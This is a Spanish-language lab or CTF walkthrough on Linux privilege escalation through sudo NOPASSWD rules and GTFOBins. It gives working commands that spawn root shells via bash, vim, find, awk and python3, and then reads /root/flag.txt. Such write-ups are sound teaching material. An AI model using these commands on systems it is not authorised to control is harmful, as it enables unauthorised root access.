Editing Gone Wrong
Escalada de privilegios mediante sudo NOPASSWD y GTFOBins
sudo para obtener acceso root sin contraseña.¿Qué es sudo NOPASSWD y por qué es peligroso?
sudo permite a un usuario ejecutar comandos como otro usuario (normalmente root). La directiva NOPASSWD en /etc/sudoers permite hacerlo sin pedir contraseña. Si el binario permitido puede abrir una shell (editor, intérprete, utilidades), se convierte en una vía directa a root.
1. Confirmar acceso inicial
whoami
idwhoami muestra el usuario actual; id lista UID, GID y grupos.
2. Comprobar privilegios sudo
sudo -lLista los comandos que el usuario puede ejecutar con sudo y sin contraseña. Ejemplo de salida crítica:
User student may run the following commands:
(ALL) NOPASSWD: /bin/bash
(ALL) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/find3. Escalada directa a root
sudo /bin/bash
whoami # -> rootSi /bin/bash está permitido, la escalada es trivial.
sudo vim -c ':!bash'Vim ejecuta el comando :!bash abriendo una shell como root.
4. GTFOBins: abuso de binarios legítimos
GTFOBins cataloga cómo abusar de binarios permitidos por sudo para obtener shells o leer archivos privilegiados.
# Si sudo -l permite /usr/bin/find:
sudo find . -exec /bin/bash \; -quit
# Si permite /usr/bin/awk:
sudo awk 'BEGIN {system("/bin/bash")}'
# Si permite /usr/bin/python3:
sudo python3 -c "import os; os.system('/bin/bash')"5. Verificación de privilegios elevados
whoami # -> root
id # -> uid=0(root) gid=0(root)6. Obtención de la flag
cat /root/flag.txtEjemplo: 098f6bcd4621d373cade4e832627b4f6
Flujo del ataque
Conceptos clave
| Concepto | Descripción |
|---|---|
sudo | Permite ejecutar comandos como otro usuario (normalmente root) |
NOPASSWD | Configuración que permite ejecutar sin pedir contraseña |
GTFOBins | Repositorio de técnicas para abusar de binarios legítimos |
/etc/sudoers | Archivo de configuración de permisos sudo |
visudo.